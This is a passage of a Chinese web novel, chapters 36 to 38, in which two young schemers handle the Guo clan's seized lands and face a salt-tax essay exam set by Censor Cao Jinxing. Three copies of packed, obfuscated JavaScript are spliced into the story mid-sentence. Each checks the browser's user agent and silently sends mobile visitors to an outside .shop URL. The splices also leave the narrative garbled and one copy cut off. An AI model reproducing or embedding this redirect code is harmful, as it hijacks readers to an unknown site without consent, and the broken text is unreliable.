“我还是去看看咱们家里作坊怎么样了,新种的其他粮种有什么收成。”说完这话,周盈放下点心,踩上木屐,慌也似的踢踢踏踏往院外走去。 颇有几分落荒而逃的意味。 一出门,见艳阳高照,也是个难得的好天气。周盈这会儿一身素白衣衫,脚下木屐不停,见着外面院子,左右挂着几匹刚织好的布,还有些新的生丝,这会儿也放在木板上晒着。 “哟,小掌柜怎么出来了?” “呀,是小掌柜!” “哎哟,小掌柜生的真是标致水灵。” “俺就说了,周寡妇家的儿子,从小到大就机灵!” 呃呵呵…… 怎么这么多人。 周盈尴尬而不失礼貌地一笑。 被这么多双眼睛盯着,实在是有点儿受不住。 强撑着转身出门,离开前院,这才松了口气。 这座宅院,是先前周瑶二人赚了些钱,想着改善点生活水平,买下来的,倒也不算贵,毕竟地方偏,而且有点年久失修。 不过好的地方就是,这地儿紧挨着先前郭氏给的那百亩田地。也是因着这个原因,周瑶二人才选择这座宅院。 出门沿着小路走,阳光洒下,这会儿秋天,说冷倒也不算冷,周盈心里嘀咕,就说娘亲实在是太紧张了些。 树叶簌簌,左右两侧田地倒是一派丰收迹象。 “哎?小掌柜怎么来了?”正忙着收割捣鼓的中年大汉,见着他便放下了手里头的活计。 这是周瑶专雇的佃农,原是家里揭不开锅,周瑶也是看着他家里头还有三个孩子,年岁都还小着,若做父亲的没个生计,到时候只怕得饿出问题。 周盈闻言笑了笑:“张叔,我来看看,咱们这地除了种粮食之外,可还多种了些什么?” “除开一些番薯、桑叶之外,倒还有一些玉米、洋芋。这都是能种得出来的,不过有的收成不太好,远没有那番薯的亩产多,因而种的也就不多。”那张叔闻言,也呵呵一笑,黝黑粗糙的脸上,出了些汗水,眼里却满是亮光,看起来精神的很。 周盈闻言颔首,虽说能种成的不算多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695242|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,但好歹是有些收获,只需人力再进行选种改良,一代代种下去,总能在饥荒年派上用场的。 在田里走了一圈,等太阳快下山了,周盈这才回来家里。 接下来一段日子,周盈是彻底闲下来,在家被看的紧,每日吃什么,补什么的,周瑶都盯的紧。 几天功夫,就长了不少肉呢,整个人看起来也更挺拔俊俏,精神头十足。 至于郭嘉,他就比较忙了。 自打郭三越和郭尧被逐出门,那父子俩天天在郭府门外哀嚎,弄的是街坊邻居都不得安生。 早先被这俩父子欺负过的人,听到二人过的如此狼狈,简直是恨不得再踹上一脚,好解气一番。 便路过的,都得啐一口这父子俩心肠何其歹毒!如今这般下场,也真是因果报应了。 足可见他们接下来的日子过的得有多艰难了。 郭勋如今亲手废了两个精心培养的继承人,也是闭门谢客,再不想见人。 郭嘉从门口出来的时候,见着那二人,穿的邋里邋遢,郭尧已是精神失常,看到他,便猛地瞪大眼睛,嘴里呜咽着,脚踢蹬往后缩到墙角。 “呜…不是我……不是我干的…我是被逼的……”他身上脏的厉害,也伤痕累累。 而一旁的郭三越虽是好点儿,但整个人坐靠着,低着头,也不知是在想什么,身上都是烂菜叶,浑身散发着一股子恶臭。 郭嘉脚步微顿,面向二人,心里叹了口气。说实在,他压根没把这两个人放在心上。 虽说,郭三越和郭尧有点小聪明,但作为对手,却完全不够格。 充其量是蠢笨了一些而已,用的也都是一些上不得台面的小算计。 若是平日里夹着尾巴做人也就算,偏还要对他们下手,这事情,第一回周盈和他设计给了二人一顿教训,便是当日私塾落水的事情。 但第二回,还要这样不知悔改,那也就只能祈祷自己有点能耐,否则可别被早早玩死了。 郭嘉冷眼旁观,末了,从袖中拿出一锭银子,放在二人跟前。见那郭尧猛扑过来,手抓住银子,嘿嘿直笑的模样。 郭嘉垂眸。 只是为了这一亩三分地的家产,却要被人算计到这样的下场,也不知心中是否悔恨呢? 但……那些也都不重要了。 瞥了二人一眼,他一挥袖,脚步不停,离开了郭府。 如今,他已是郭氏唯一的顺位继承人,将来,郭氏也只能落在他手里。 这就够了。 拿下郭氏,对两个人的整个战略布局来说都是一次极大的扩张! 若说先前是,螺蛳壳里做道场,打不开场面。 那么现在,便是在这乡绅盘根错节的山阴县里,硬啃下来了一块骨头,彻底打通了乡绅身份的道路。 这对于二人来说,其战略意义不言而喻。 “那郭勋,如今也没有别的法子,只能信我,如今郭氏落到了我们的手里,但也算是取得了初步的成果,大户人家,积蓄颇丰,可不是我们这小酒坊小打小闹能比的。” 36.第 36 章 “我们呢,如今是要人有人,要粮有粮,要钱,也足够。”说着这话,郭小狐狸嘴角一翘,露出半颗小虎牙来。 听了这话,如今刚喝了周瑶煮的什么劳什子大补汤的周盈,这会儿还拿着帕子捂着鼻子呢。 嗯……也就这段时间吧,因先前周盈在牢里呆了一会儿,出来后的那副可怜样,把周瑶都给心疼坏了。 正所谓,妈妈觉得你要补,你就得补补身子。 于是周盈就这么苦逼的吃上了“十全大补汤”。现在好了,因为太补,闹出乌龙了。 他……流鼻血了。 眼看着仰头躺靠的人,手拿起帕子一看,白色的面上,这会儿全是血。 郭嘉也是“噗”了一声。 周盈目光中透露出几分生无可恋,早先,他可没这么出糗过,诶…… “你想说什么?” “咳,我是说,咱们也该推一推先前搁置的产业计划了。” 周盈察觉鼻血又又又开始流了,无奈之下,只能折了折帕子,继续捂上。 开口说话的声音,都带上了浓浓的鼻音:“郭氏的产业,你都打点清楚了?好歹也是算是个有点规模的乡绅家族,在山阴县这么些年,积累下来的资产,应当不算少。” “你倒是问到点子上了,我今天回了一趟郭氏,就是为了这事儿。”闻言,郭嘉语气正色了一些。 “郭氏账目太多,我也就没有全部翻阅,过些天,我让他们都送过来,再一一细审。但如今有个比较大的问题。” 听到他这么说,周盈也精神了一些,起身换了块帕子:“可是那田产的事情?” “嗯。郭氏名下,兼并的田地数量,令人惊愕,我本以为也不过至多千亩左右,而今查了一番田契,却发现,除那些买卖所得、佃农抵押的、挂名其下专为躲税的、还有一些是做官得赏赐的,这些加起来的民田亩数便已达千亩左右。” “更不必说,再算上那些官田的数目之咋舌,便是我也没想到。” “怎么?官田数目很多吗?”周盈马上察觉了一些蹊跷之处。 闻此言,郭嘉叹了一声,皱起眉,脸色也很是严肃。 “不少,且这些佃农,对此并不排斥,甚至都是自愿的。” “……”这事儿,倒是有趣。 周盈察觉鼻血不流了,便也就把帕子丢到桌上,想了想道:“其实倒也能理解。” “嗯?” “民田属民所有,其税约每亩三升左右,而官田照理是归朝廷所有,因其不可交易属性,若收税约每亩一石,其比为十五倍多。” 周盈心里算了一笔账,虽嘴上说的平淡,可心里也颇觉触目惊心。 “为了躲避这重压般的税,一些佃农,便会绞尽脑汁,将其田挂名,或用些手段,直接卖给当地乡绅。” “这样,躲了重税,只需缴纳比税少许多的租额,便可让自己轻松不少。” “既让乡绅兼并了土地,又可以令自己轻松,是一举两得的事情。” 说到这儿,郭嘉啧了一声,只觉棘手又麻烦:“如此说来,这税反倒全落到了这些富人手里,朝廷反倒是什么都捞不着了。” “确实如此,国库亏空,也并非一日之弊端,这不过是其中之一。” 周盈大约是躺的有些难受,干脆站起来,动动身子,走到门口,看着外头忙碌的几个人影,正晒着丝,给蚕喂着桑叶,一时间,两人什么话都没说。 “便是我们如今分的这百亩田,又能有多少是干净清白的?你我入了这浑水,注定也是要染了淤泥,一步步淌过去的。” 郭嘉心里没有太大感觉,他到底是过来人,只不过是换了个地方而已,在哪,不都是如此? 自古以来,田赋都是朝廷的重经济来源之一。 但二人来这,却是为了整顿这个混乱的时代,那么出现问题,他就不能不管了。 “这些都是后话,你便是想改,也得等做了官再说。”他说着,翘起腿,手伸过去拿了一块点心。 “现在,咱们得把这个田给理清楚,有哪些得吐出去,哪些能留着,这才是重要的。” 毕竟郭氏兼并田地的事情,如今整个山阴县都知道的一清二楚,不狠心割点肉,哪有那么容易断尾求生的? 郭尧是笨啊。 郭嘉觉得周盈有一句话说的特别对。 那就是……笨人做事,总让人心惊胆战。 “那郭尧,如今是疯了,给我们还留下一堆糊涂账呢。唉,我说……这烫手山芋,接在手里有什么好?他还非得对着我们做那些小动作,抢这堆烂摊子。” 郭嘉吐槽了一嘴,这东西,如今接是接不得,丢也得想个办法才行。 听他这话,周盈转过身来,外头阳光正盛,照的他广袖摇曳,身影纤姿似鹤般。 “你这是,得了便宜还卖乖。若是真叫郭尧听见,他准得被你气疯了。” “他已经疯了。” “……” “好吧,我这回去路上,遇见了他们父子二人,没成想……”郭嘉撇撇嘴。 “成王败寇,也总得付出点什么。”周盈没表什么态。 郭嘉弯眼一笑:“你我同谋,若无你搭好局,我的计又怎能见效?” 听他这话,周盈没好气:“可别,说的好像我们俩跟反派似的。” “嗯嗯嗯……大反派,你这大补汤,马上就凉了。”郭嘉指了指放在边上的深褐色汤药。 这玩意儿是周瑶不知从哪儿弄得方子,总之那味道飘的,郭嘉鼻子一股怪味儿,比他上辈子吃的那些药都还怪。 “喏,喝吧。” “……”周盈脸色白了白。 “你还有功夫在我这儿调侃我?明天就是小考,功课做完了?文章写完了?温习的怎么样?” “……” 郭奉孝眼里透露出浓浓的友尽意味。 “咱们又不真是小孩子,那点东西我看着都打瞌睡,说点别的。” 周盈叹了口气,有些生无可恋走过来,猛灌进了嘴里。 放下碗,想了想:“这段时间,山阴县里发生了什么?那曹谨行可有什么动静?” “哦,你说起这个,我倒还真是觉得稀奇。按理来说,巡盐的事情,被我们搅和了,他应该着急才对,但这都过去快半个月了,那衙门里,却什么动作都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703476|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 有。” “守在附近的马夫,天天都去溜达,准是不会漏了消息的。” 说到这事儿,郭奉孝也觉得有些迷糊,若是按上奏的时间,一来一回,那朝廷下发的回奏,这会儿应也是早就到了地方才是。 越安静,总让他越发有些忐忑不安了。 听到这话,周盈皱着眉:“张岱和杨业呢?” “他们?早回私塾了。” “……”周盈面无表情看了他一眼。 郭嘉啧了一声:“好吧,我就是跟他们出去凑了凑热闹。不过,我倒是见着了那些乡绅、大儒。” “哦?如何?” “嗯……不怎样,一谈起巡盐的事情,便只想着撇清干系自保,我看这张家和杨家,也是倒了血霉,非摊上这群蠢蛋。” “这要不是我们抢先打的曹谨行措手不及,只怕这会儿,连带着整个山阴县,都得人头滚滚,血流成河了。” 那曹谨行有多难对付,二人早已知晓,如今这批人,倒是觉得安全了,危险过去了,殊不知,举在头顶的镰刀,只是缓了缓时间而已。 这便是大难临头各自飞了。 闻此言,周盈深叹一口气:“不成气候,将来这批人,还要血洗一遍。” “……”这话说的有点恐怖了。 人家好歹这会儿跟你是队友,你便想着将来拿起屠刀的事情……多少有点不合适。 郭嘉翘起腿,拿了块桂花糕咬了一口:“将来的事情,还是将来再说吧,如今你我这一出头,只怕朝廷那儿已经知道了。” “我们帮着张岱等人,阻挠巡盐公务,便是彻底要成为浙党的人了。这见鬼的地方派系……啧。” 听到他轻“啧”一声,周盈拿着帕子折了折,继续捂着鼻子,转头,眼神有些古怪:“你还嫌弃上了?” “嗯?” 迟疑了一会儿,郭奉孝猛的反应过来:“哦……那不一样!” “怎么不一样?都是一个地方出来的,自然是同乡帮同乡,这不是天经地义的事情?”周盈哈哈一笑,显然是逗着了郭嘉,心里恶趣味得到了满足。 他真坏。 “那哪能一样!” “嗯~颍川多奇士,到底都是一个地方出来的人,聪明萝卜一拔一箩筐。”周盈笑眯眯的表示,你也别双标人家,大家都是靠同乡飞黄腾达的。 半斤八两。 “你说是吧,颍川郭奉孝~” 郭嘉:…… “好了好了,我不说你了。说说正事吧,你说的事情,麻烦是不假,但你我既然已经入了这个局,也不要想着能独善其身,做个孤臣了。” “在你那个时候,做个孤臣反是明哲保身,但这会儿的朝廷,想做孤臣,万万是不能成的,便是以后在朝堂上真动起手,也得有几个人帮忙揍人不是?你我二人势单力薄,如今浙党式微,但也恰是个机会。” 察觉鼻血止住了,周盈将帕子拿下,丢在桌上。 郭嘉挑眉,做不做孤臣,和朝堂上打架有什么关系吗? 不对,为什么上朝还得打架的?明朝的风气这么奇怪吗? “你想借浙党做文章?” 37.第 37 章 “也算不得,只是借势而已。单打独斗,是傻子才会做的事情。” “想法不错,但如今怕还不是时候啊。” 看他这般皱眉正色,周盈嘴角一翘:“奉孝说的在理,所以……” “所以?” 郭嘉还没从思绪转回来,看着他的眼里全是正经和深思。 只见周盈站起身,低头凑了过来,声音十分之严肃,神情十分之板正:“该学习了,先把明天的考试过了,再说别的。” “……”郭嘉脸色都青了。 太坏了,真坏。 第二日一早,周盈圆满的结束了自己在家休养的日子,他心里狠狠松了一口气。 再也不用喝妈妈熬的那些乱七八糟的“大补汤”了。 周盈素来不挑食,有什么吃什么。可就算是他这样的人,吃了几次周瑶熬的“汤”,都有些受不住,足可见那玩意儿威力有多惊人了。 在又一次的婉拒了妈妈的“十全大补汤”后,周盈和郭嘉飞奔进了私塾。 活脱像是背后有什么东西在追一样的。 一早上,见着周盈回来,班里的师兄们都是稀奇,他刚进门,就被团团围住。说的都是前些天发生的那些事情。 什么当街反抗恶吏、为母入大牢、当堂对峙曹御史(这个其实没有),这些人说的那都是头头是道,比他这个当事人都还清楚! “那恶吏张军,也真是可恶,无凭无据砸了酒坊,不过还好,后头被剥了职,也算是恶有恶报了!” “是极,不曾想咱们小小山阴县,竟还有如此骇人听闻的事情,真是世风日下,人心不古啊。” “哎,要我说,小师弟有勇有谋,这一下子,不但揭发了那王宗昌的恶行,还帮着郭师弟翻了那矿税旧案,我等士人学子,实在是钦佩这胆识!” 围在桌边的几个师兄谈论的是头头是道,脸上神色各异,看着他的眼里头,溢出的满满都是敬佩和赞叹,把周盈看的鸡皮疙瘩都起来了。 “……”周盈呵呵一笑,眼神撇了一眼郭奉孝。对方左看看右看看,便是不看他,显然是幸灾乐祸。 “好了好了,你们就安静些吧,小师弟刚养好身子回来上课,别总围着。”护犊子的张岱皱眉,直接硬挤了进来,推着几个人硬送回位置上。 “小师弟,等会儿就要小考了。你这些日子落下了功课,若是实在觉得为难,我帮你去跟夫子说说,这次小考缺席就是了。” 张岱是真心的,毕竟以他的脑容量来说,呃……落下半个月的功课,反正他是考不了一点。以己度人,他觉得周盈应该也会有点吃力。 不过周盈笑了笑:“不妨事,我就算是考的差一些,夫子也不会多说我什么,但我若是直接缺席,这就是态度上的问题了。” 这话说的倒也是了。 乱哄哄的班里,随着陈夫子走进来,逐渐的安静下来。半个月不见,陈夫子扫视了一圈,目光落到周盈身上的时候,顿了顿。 “好了。今天是小考,我也就不多说什么,不过这次小考,倒是有个大人物,要来旁观审查,你们得好好表现,若是等会儿,在广场上,策论写不出来,辩论答不出来……” 陈夫子说的话顿了顿,眼神落到了张岱和杨业身上:“作业加倍。” 张岱、杨业:???? 夫子,咱们师徒小船就这么翻了吗? “啊?敢问夫子,这新来的大人物是谁?”有人直接抓住了重点,好奇开口。 陈夫子眼神复杂,不过也是捋须一笑:“问得好,那你倒是猜猜?” “?” 众学生无语。 好吧,陈夫子这个人,看起来板正,实际上,有的时候还真是挺恶趣味的。 比方说,每日下学,都得把郭嘉拽过去,细细抽查今日功课这件事,就显得格外腹黑。 总之大家都是心有余悸,非常感谢郭师弟为大家争取的利益! 至于郭师弟本人? 相信郭师弟那么聪明的人,这点难度自然是小意思! 郭嘉:……? 话暂且揭过。 本日的小考,上午考策论,下午则是辩论。至于考题,目前暂不知晓。 学生们陆陆续续,板着椅子走到广场上,今日天气不错,太阳高照,深秋的温度恰到好处,窸窸窣窣的残叶飘落地面,被人踩踏,发出咔嚓的清脆声音。 走廊上,陈夫子几人,与身侧大人物侃侃而谈。 “曹御史莅临潘岳私塾,倒也真是令我等诚惶诚恐了。” 不错,这个大人物,便是前些日子半点动静都没有的曹谨行。 也不知他为何要突击检查一般,突然来私塾参观,把一群夫子吓得兵荒马乱的。 曹谨行闻言,板正的脸上不怒自威,看了一眼吵吵嚷嚷的广场,指了指那石碑:“这字刻的,倒是不错。” 那石碑上刻的便是:知行广场。 见状,陈夫子呵呵一笑:“阳明子言:知行合一。我等教授学生圣人经文,却也知若无设身行之,便是无的放矢” “既要格物,便需知理,这理怎么来?总要靠学生们自己亲身实践才是。” “此话说的不假,陈夫子这潘岳私塾出来的学生,倒还真是令本官都深感佩服。”曹谨行脚步一顿,看到了周盈二人的影子。 见状,陈夫子眼里深思一番,看着那两道影子,心里不免叹了口气,对今日的小考也担忧了起来。 这曹谨行打了所有人一个出其不意,倒也不知今日前来,所为何事呢? 前些天,那出公堂审案的戏码,闹得如此之大,便是隔壁其余几个县,都传遍了。 他这几日收到了不少私交甚好的大儒来信,多言称赞,还说他是收到了两个有本事的好学生。 但陈夫子知道,这也不过是开始而已,真正的矿税旧案,没有彻底翻案之前,只怕这风雨便过不了,乌云也散不开。 心里多有思虑,一时间开口的话也就含蓄了几分:“奉孝是个聪明孩子,汝瑛行事周全缜密,两人形影不离,却都是天资聪颖。做的事情,或有些冲动,心却是好的。” 这话明里暗里,都是帮着周盈和郭嘉开脱呢。 曹谨行皱眉,琢磨了一下这名字,又看了看那广场上,坐姿吊儿郎当的郭嘉。 “行险弄奇,不拘常理,倒还真是个‘世之奇士’了。” “说笑了,才七八岁的年纪,跳脱是跳脱了一些,这些日子,我这个做老师的,也是批评了他。”陈夫子心里叹了一口气,也不曾想,他的这两个学生居然能闹出这么大的动静。 “曹御史,他们二人,也不过七八岁年纪,还是有大好的前程啊。朝廷里的局势,我这个教书的也不怎么了解,可我知道,御史前来,势必也是遵了皇上的命。” “说到底,巡盐,巡的是盐务调查。这地方的盐政弊病、私盐之乱、官盐壅滞、盐课损耗,都是您要管的事情。” “只揪着一个小地方,总归是丢了西瓜捡芝麻。” 听他这番说辞,曹谨行微眯起眼,一时间脸色都变了变。 陈夫子却并不惧,只是依旧淡淡道:“我等读书人,说的也不过是己见,但孰轻孰重,曹御史应是早已有定夺。” 说完这话,他行了一礼,叹了口气。 曹谨行沉默了一会儿,垂眸间,广场上已是坐满了人,距小考开始,约莫还有一炷香的时间。 他转身,朝着广场方向迈开脚步,拂袖间,带起几分衣袂。 “既如此,陈夫子,本官也有个问题。” “请讲。” “本官这些日子,治理山阴县,只觉民生艰难,百姓的田地从何消失、又因何濒临破产、为了吃一口饭为何如此艰辛,这一切的一切,似乎都指向一个字。” “什么字?” 曹谨行顿了顿:“钱。” “因此,本官有一问,巡盐,当如何巡,又该如何上这封《浙江盐政弊病疏》?” “本官希望,这次的私塾小考,能给我一个启发和方向。” “不置可否?” “……”陈夫子沉默了一会儿,他身后跟着的几个夫子,你看我我看你,都说不出什么话来。 显然,这话有点超纲,这个题目也有点超纲了。 私塾的学生大多都是还未有功名的,又如何能对着这样一个朝廷大事,进行策论之述? 多的不过是纸上谈判,又从何说启发和方向呢? 陈夫子皱眉,一时间捉摸不透对方是来发难,还是真心如此想。 曹谨行见几人不语,笑了笑,也没多说什么,转身朝着广场走过去。 “这、这……子长,这题目,便是你我都解不出来,那些学生又有什么办法?” “是啊,这曹谨行……莫不专来难为人的?” 几个夫子脸色都沉了几分,先是不请自来,后又出了这样一道难题。 谁人不知他曹谨行是朝廷钦封的巡盐御史? 一个封疆大吏,反倒是来小小私塾求问国策,来搞笑吗? 陈夫子捋了捋胡须,也没开口说什么。 “只怕…他想要的,没那么简单。” “什么?” “一个,能拿钱、立功,还能抽身的法子。” “……” 几个人不说话了,不知道是惊到了,还是怎么。 陈夫子只觉心中沉重啊,若这次小考,不能让曹谨行得到满意的答案。 山阴县,只怕真的要腥风血雨了。 知行广场上,等候多时的学生们,这会儿都正襟危坐着。 眼见着走过来的一行人,为首的人影却是令周盈和郭嘉都熟悉的曹谨行之时,两人也都是惊讶了一下。 “他怎么会来?”郭嘉皱眉,心里总感觉有点不妙。 周盈见那曹谨行走到首位坐下,从台子上,扫视了一圈在场的所有学生,随后,目光落在两人身上顿了顿。 对视之间,周盈撇开了眼睛,心里对这突如其来的一出戏,颇觉谜团重重了。 这曹谨行,半月以来都没什么大动作,反倒是今日突临潘岳私塾。 美其名曰是巡察士子风采,只怕其中蹊跷甚多。 也不等两人多思考些什么,陈夫子直接站起身道:“今日,是经馆学生的月旬小考,本应按以往的惯例出题。” “但曹御史亲临,观摩学子风采。私塾内部商讨了一番,本次考题,便要与以往的不太一样。” 张岱眉头一跳,不是吧,他好不容易昨晚上临时抱佛脚,把书都背了一遍,今日可是信心十足! 本想着这次小考,他总归是能在前三占个位置的。 这、这…… “曹谨行来这做什么?”凑过来的杨业压低了一些声音。 张岱闻言,话没过脑:“不是来巡察吗?” “……”你才是真的地主家的傻儿子吧。 眼看杨业那死鱼眼一般的目光透露出浓浓的崩溃。 张岱眨眨眼:“啊、啊!我知道了!” 他竖起一根手指:“一定是……” “好吧我也不知道,这曹谨行如此狡诈,我们哪能猜到。” 张岱语气一转,差点没把杨业气死。 忍忍……好歹也是发小。 “问问小师弟吧。” 反正,几个人座位隔得也不远。 “小师弟!” 被叫回神的周盈转头,便看到张岱朝他挤眉弄眼的。 几个人在底下的小动作,全被坐在上面的曹谨行和陈夫子等人看了个一清二楚。 却还以为自己做的有够隐蔽的。 陈夫子轻咳一声,那张岱非但不收敛,反而是公然的,要与坐在周盈边上的学生换位置。 “宗子。”陈夫子有点看不下去了。 你小子,荒废学业也就算了,能不能别带坏这私塾内唯二的独苗苗? “啊?”张岱被叫的一激灵,眨着眼,一副无辜的站起身。 周围的学生见状,都忍不住笑出声来。 “夫子,我这是在请教小师弟,毕竟咱们私塾里头,除了郭师弟,就属周师弟最聪明了。” “笨人贵在有自知之明,因此,不懂的地方,得‘不耻下问’。” 这话说完,笑声更大了,整个知行广场内,一片“欢声笑语”,气氛十分的“热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说出这话,郭嘉都觉得荒谬了。 拜托,他们如今可是七八岁的少年之身。 一个正值壮年的实干派巡盐御史,反倒是来这小小地方私塾,向两个毛都还没长齐的孩子问策? 多少有点不现实。 连郭奉孝这种异想天开的人,都觉得曹谨行比他还异想天开了。 “当然不是真的问策。但如今,他被架在两头,朝廷问他要钱,东林问他要政绩,我们又问他要翻案,张师兄等人问他要妥协。” “他该怎么做?他如今,大概也是在思考要怎么破这一个棘手的局面。”这厢,周盈凑到郭嘉耳边,两人嘀嘀咕咕的。 那厢,张岱脑门冒汗,咽了咽口水:“曹御史,此事…在下不明,盐课国策,非是我等能随意置喙的。” 这事儿,不能谈,起码不能在私塾这样的公共场合谈。 太敏感,那么多眼睛盯着,便是稍微说错一句话,都要万劫不复! 这曹谨行,是专盯着他们说错话呢! 张岱虽然…对学习实在是上心不起来,他真不是那块料! 但好歹,不是个笨蛋,想想利害关系,总归是明白的。 不过坐在底下的周师弟和郭师弟,颇有些死道友免死贫道,见着张师兄这般尴尬的下不来台的模样。 两人非但是不紧张,反而继续嘀嘀咕咕,小话说的是那个起劲。 周盈言:“曹谨行并非是一定要朝我们,问个合适的盐课策论,但必然是要借着这个由头,好为接下来的行动,找个师出有名的理由。” “若问策不成,那便是无人可解此局,接下来,便要清查盐课之政,血洗山阴县都不为过。你别忘了,这是浙东,是浙党的根据地,也是士林圈重地,这个地方,凡是提及盐课,都须谨慎再三,更别提我们这,有个淮扬盐商的世家公子在呢。” 郭嘉“哦——”了一声,惹得边上几个师兄侧目,他一拍手背:“若问策能成,他也不想背着这样的巨大风险,去做一桩左右都吃力不讨好的事情。能把事情轻松办妥,谁会愿意,担这被士林攻讦致死、政治清算的风险呢?” “当官的,还真都是人精啊!”郭奉孝感慨。 周盈眯着眼,露出几分“知我者,奉孝也”的情绪。 但两个人还没多说什么,陈夫子已经差点把肺咳出来了。 两个人见状,也就没再说什么了。 “曹御史,张宗子也不过是个秀才出身,盐课关乎国策,事关重大,他微末功名,如何能说出什么道理来?” 这是准备给张岱递台阶了,张岱心里是泪流满面,再也不说陈夫子古板严肃了。 虽说不近人情,但对学士那真是掏心掏肺的好。 “是极是极!学生一派胡言而已!曹御史千万不要往心里去。” 曹谨行闻言,也不好再说什么,人家都这么说了,他再穷追不舍,就显得有些仗势欺人,倚强凌弱了。 这种做法,曹谨行也是不齿的。 因而,这一番的小插曲,也算是有惊无险的揭过了。 但接下来,更炸裂的重磅消息,随着夫子们公布今日小考题目,直接炸在了整个知行广场上。 那就是…… “天下大弊,在于利不归公,而归于中饱。州县以‘损耗’为由,行‘欠逃’之事,却仍按十万引摊派于百姓,实民生之多艰。今朝廷欲厘清旧弊,钦点御史巡盐。试以问:盐课如何核,摊派如何治,请分步陈述。” 说完今日考题,陈夫子也皱起眉,看向了一旁正襟危坐,毫无表情的曹谨行。 底下的学生顿时都愕然。 “这……这题目,怕是不妥。” “是啊,此乃国策,我等如何随意置喙?” “而今,曹御史坐于上位,我等学生,只怕言之也战战兢兢。” “盐课之事,牵扯关系太多,我等不可随意落笔,请换题。” “请换题。”开口说话的一众学生皆站起身来。 38.第 38 章 “曹御史,您看这……” “嘎达”一声脆响,曹谨行放下杯子,站起身,走到台前。 看着底下一群经馆学生,或站着,或坐着,绝大多数,对此番出题,都感觉到了一些不对劲。 再加上近来风声传之,有言朝廷里头,一部分人欲向浙东动手。 其党争之残酷,素来令人闻风丧胆,而这会儿的读书人,都很看重乡党文化。 即,从同一个地方出来的,天然便会因着同乡身份,而在官场上互帮互助。 “敢问曹御史,出此课题,是为民生问策,还是为那衮衮诸公问策?” “是极,我等虽是微末士子,却也知国策之重,只怕谈之恐有非议。” 周盈心里叹了一口气,到底还是来了。 这曹谨行,倒也真是老辣,于这公共场合之下问策,既免了被揣度怀疑成结党之嫌,也可顺势,谈一谈整个浙东的士林风向。 不过很显然,大家对他这个北直隶出身的实干派官员,并不怎么尊敬。 曹谨行看向那个说话颇有攻击性的学生:“问的好!本官是皇上钦封的巡盐御史!是帮着朝廷问的策,是为着朝廷解决问题!这个答案,诸位可还满意?” “再言,家事国事天下事,事事关心。而今,你等虽为学生,但难保将来,不能考取功名,入朝为官?到那时候,本官倒还能忝为前辈,与尔等在朝廷共商国事。” 这话说的,还真是秉公无私,让人找不出错处来,一群人顿时交头接耳,讨论声不断。 “哎,小师弟,你说这曹谨行,安的是什么心?你看宗吕,这会儿脸都绿了,想来是被吓得不轻。”张岱这会儿,还有兴趣打趣别人呢。 杨业闻言,想撕了他的心都有了,这事儿能开玩笑吗! 现在都是一条绳子上的蚂蚱了,还分个谁先下油锅吗? 抄起来,那可是一咬一个嘎嘣脆。 嗯,还是鸡肉味的。 郭嘉咳了一声,以免自己被张岱这家伙整笑了,真是个活宝。 神了! 也就碰上了他和周盈,否则这会儿,估摸着坟头草都三米高了。 哪还有闲情功夫在这跟人拌嘴的? 也真是傻人有傻福了。 当然,傻人总归是好相处一些的,充其量……悟性不高,但为人靠谱。 郭嘉心里这么想着,开口朝着张岱说:“张师兄,你说……这曹谨行,会不会是冲你们来的?” “……”张岱眨了眨眼睛,那原先看起来纤狭上翘的瑞眼,这会儿下意识的睁大了一些。 “我看啊,他是铁了心,想抄你的家,这才偏追到私塾来,等会儿你写策论的时候,可得小心点了。” “杨师兄,我也提点你一下。” 郭嘉说着,眨巴了一下眼睛,一脸无辜正经的表情。 杨业:? 周盈“噗”了一声,见他这蔫坏的样子,无奈道:“你可别吓他们了,到时候,真出了事情,咱们做的那些牺牲,可就真白费功夫了。” “对啊对啊,郭师弟真是的,怎么可以这样戏弄师兄?真是目无尊长。” 杨业这会儿,也不想说话了,他都瘦了一圈了,半点世家公子哥的气度都没了,眼下的青黑,这会儿还没褪下去,显然日子过得不怎么有滋有味。 “小师弟,算是做师兄的求你们,说话能不能实在些?”这一惊一乍,真的很容易把人吓出毛病的! 杨业都不知道该说郭嘉什么好了,太恶趣味了。 “好吧,其实问题也不大,等会儿,你们策论上,尽量往大方向写就是,这准没错。但切记不可往小了写,你们二人身份特殊,真写到盐课的私盐、损耗、摊派,那就是自认罪证。” 郭嘉说的头头是道,周盈闻言,没什么问题,便也没开口,只让他说。 一番话完,台上的曹谨行,却也将底下站起来反驳的一众学子给怼的话都说不出来。 说到底,学生总归是没在官场历练的,那说话的语言艺术还没练到家呢。 曹谨行坐回位置上:“开始吧。” 底下学生们,都憋着一股气,对这盐课的策论题目,亦多有腹诽和想法。 一时间,知行广场上,便只有笔墨书写的声音。不少人是抓耳挠腮,对着这次的策论考题,有些摸不着头脑。 说实在的,这题目说是针对盐课,但背后牵扯的却是朝廷局势,只要不是个蠢傻的,大概都知道,这不能乱写。 